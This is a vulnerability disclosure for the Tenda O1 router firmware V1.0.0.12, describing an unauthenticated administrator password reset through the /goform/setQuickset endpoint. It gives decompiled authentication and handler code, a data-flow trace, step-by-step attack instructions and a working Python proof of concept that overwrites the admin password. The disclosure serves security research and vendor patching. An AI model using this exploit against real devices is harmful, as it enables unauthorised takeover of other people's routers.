Tenda O1 httpd /goform/setQuickset Unauthenticated Password Reset Vulnerability

Product Information

```
Brand: Tenda
Model: O1
Firmware Version: V1.0.0.12
Website: https://www.tenda.com.cn
Firmware Download Link: https://www.tenda.com.cn/store/products/146#downloads
```

Affected Component

```
The /goform/setQuickset interface in httpd (the main web server program)
```

Suggested Vulnerability Description

```
Tenda O1 V1.0.0.12's httpd program unconditionally whitelists the
/password.html page
and the /goform/setQuickset interface in the authSecurityHandler
authentication function.
The fromQuicksetSet function writes the password parameter from the request
to the
administrator password (sys.userpass) without checking the login state. An
attacker can
access the password setting page and directly modify the administrator
password without
authentication, thereby completely taking over the device. This is an
unauthorized access
(unauthenticated administrator password modification) vulnerability.
```

Vulnerability Details

The authentication of this firmware (Tenda O1, heavily customized GoAhead 3.3.0) is centralized in the `authSecurityHandler` function (0x004A76AC), which runs before every route dispatch (line 11280 of `websRouteRequest`, `if ( authSecurityHandler(wp) )`). It determines the session based on the **source-IP login tracking table** `loginUserInfo[10]`: URLs matching the whitelist directly `return 1` to allow access, while all other requests are redirected to the login page and `return 0` to block them.

The root cause is the **unauthenticated whitelist** in `authSecurityHandler`, where both `/password.html` and `/goform/setQuickset` are unconditionally allowed:

```
// Whitelist check in authSecurityHandler (0x004A76AC)
if ( !strcmp(urlbuf, "/favicon.ico")
  || !strncmp(urlbuf, "/goform/usbTest", 0x100u)
  || !strncmp(urlbuf, "/lang", 0x100u)
  || !strncmp(urlbuf, "/goform/getAdStatistics", 0x100u)
  || !strncmp(urlbuf, "/disable.asp", 0x100u)
```

```
  || !strncmp(g_default_pass, g_Pass_0, 0x80u) && !strncmp(urlbuf,
"/goform/telnet", 0x100u)
  || !strncmp(urlbuf, "/goform/getLoginInfo", 0x100u)
  || !strncmp(urlbuf, "/goform/getSysLogin", 0x100u)
  || !strncmp(urlbuf, "/goform/getQuickset", 0x100u)
  || !strncmp(urlbuf, "/goform/setQuickset", 0x100u)   // <-
/goform/setQuickset unauthenticated
  || !strncmp(urlbuf, "/password.html", 0xEu)          // <- /password.html
unauthenticated
  || !strncmp(urlbuf, "/preTimeout.asp", 0x100u)
  || !strncmp(urlbuf, "/timeout.asp", 0x100u)
  || !strncmp(urlbuf, "/goform/getPreTimeoutNotify", 0x100u)
  || !strncmp(urlbuf, "/goform/getTimeoutNotify", 0x100u)
  || !strncmp(urlbuf, "/goform/ackPreTimeoutNotify", 0x100u)
  || !strncmp(urlbuf, "/goform/ate", 0x100u) )
{
  return 1;   // <- Directly allows entry into route dispatch; never checks
login state / session
}
```

`/password.html` is the administrator password setting page (when `sys.userpass` is empty or the password strength does not meet the requirement, `old_initWebs` sets the login page `loginpage` to `password.html`). Both this page and its companion password-writing action `/goform/setQuickset` are allowed by the whitelist above, so the entire “set administrator password” flow can be completed without any authentication.

The handler `fromQuicksetSet` (0x0045B338) for `/goform/setQuickset` writes the `password` parameter from the request directly to the administrator password, and there is **no authentication check** anywhere in the function body:

```
void __cdecl fromQuicksetSet(webs_t wp, char_t *path, char_t *query)
{
  ...
  new_pwd = websGetVar((Webs_1 *)wp, "password", byte_4B81C4);   // <- user-
controlled source
  GetValue("sys.userpass", old_pwd);
  if ( prod_check_password(new_pwd) )                           // <- only
checks password complexity
  {
    // Password format invalid -> errCode = 1
  }
  else
  {
    if ( *new_pwd )
    {
      new_pwd_encrypt = websEncode64(new_pwd);                  // base64
encode
      if ( new_pwd_encrypt )
      {
        if ( strcmp(old_pwd, new_pwd_encrypt) )
        {
          SetValue("sys.userpass", new_pwd_encrypt);            // <- sink:
writes admin password
          administrator_username_compat_set();
          getwebuserpwd(0);
```

```
          for ( i = 0; i < 10; ++i )                                // only clears this IP's login entry
            if ( !strcmp(loginUserInfo[i].ip, wp->ipaddr) )
              memset(&loginUserInfo[i], 0, 0x20u);
          CommitCfm();                                              // <- persisted to NVRAM
        }
        free(new_pwd_encrypt);
      }
    }
    ...
  }
}
```

That is, the request parameter `password` (user-controlled) is encoded by `websEncode64` and then written to the administrator password via `SetValue("sys.userpass", ...)` and persisted with `CommitCfm()`. The so-called "validation function" `prod_check_password` only checks **password complexity**, not authentication:

```
int __cdecl prod_check_password(const char *password)
{
  // Only counts whether uppercase / lowercase / digit / special characters (!#$%&*+,-.:;=@^_) are present
  ...
  if ( length < 8 || length >= 33 )   // length 8~32
    return -1;
  if ( has_upper + has_lower + has_digit + has_special_char >= 3 )  // at least 3 classes
    return 0;
  return -1;
}
```

It does not verify the caller's identity, does not verify token/session, and does not verify CSRF; as long as the password satisfies "8~32 characters with at least 3 character classes", it is accepted. An attacker only needs to construct a password meeting the complexity requirement to complete the unauthorized modification.

The complete data flow is as follows:

```
Attacker POST /goform/setQuickset   (body: password=Admin@12345)
    └── websRouteRequest()                          [0x00431190]  route dispatch entry
        └── authSecurityHandler()                   [0x004A76AC]  authentication gate
            └── strncmp(urlbuf, "/goform/setQuickset") matches whitelist -> return 1 (allowed without auth)
        └── actionHandler()                         [0x00406DA0]  /goform action dispatch
            └── fromQuicksetSet(wp, "setQuickset", query)  [0x0045B338]
                └── new_pwd = websGetVar(wp, "password", "")   <- source (user-controlled)
                    └── prod_check_password(new_pwd)           <- checks (complexity only, no auth)
                        └── new_pwd_encrypt = websEncode64(new_pwd)
                            └── SetValue("sys.userpass", new_pwd_encrypt)  <- sink
                                └── CommitCfm()                <- persisted
```

The validation functions involved are as follows:

```
- prod_check_password(): only validates password length (8~32) and character classes (>= 3 classes).
  It is a password complexity check that does not verify "whether the caller is logged in /
  whether the caller has administrator privileges / whether a valid session token is provided".
- authSecurityHandler(): as the authentication gate it should block unauthenticated requests,
  but it unconditionally whitelists /password.html and /goform/setQuickset and allows them
  directly, which is the root cause of the vulnerability.
```

Attack Method

An attacker, without logging in or holding any credentials, first directly accesses `/password.html` to confirm that the password setting page is anonymously accessible; then submits a new password meeting the complexity requirement to `/goform/setQuickset`. `fromQuicksetSet` writes that password to `sys.userpass` and commits it to NVRAM. After the modification, the attacker logs in via `/login/Auth` with the (base64-encoded) password they set and gains administrator privileges, completely taking over the device.

Attack steps:

1. Access the password setting page unauthenticated: `GET /password.html`; the page returns without redirecting to the login page.
2. Submit a new password unauthenticated: `POST /goform/setQuickset` (`password=Admin@12345`); the interface returns `{"errCode":"0"}`, and the administrator password is overwritten.
3. Log in via `/login/Auth` with the new password and enter the management interface.

PoC

This vulnerability is **pre-authentication (unauthenticated)**; no Token / Cookie is required throughout.

Unauthenticated administrator password modification:

```python
import requests

url = "http://192.168.31.6/goform/setQuickset"

headers = {
    "Content-Type": "application/x-www-form-urlencoded",
    # The Host header is generated automatically by requests from the URL; usually no need to set it manually
}

data = {
    "password": "Admin@789",
}

resp = requests.post(url, headers=headers, data=data, timeout=10)

print("Status code:", resp.status_code)
print("Response headers:", resp.headers)
print("Response body:", resp.text)
```

(The response `{"errCode":"0"}` indicates that the password was successfully modified.)

The new password can then be used to log in and manage the device.

Discoverer

Zippy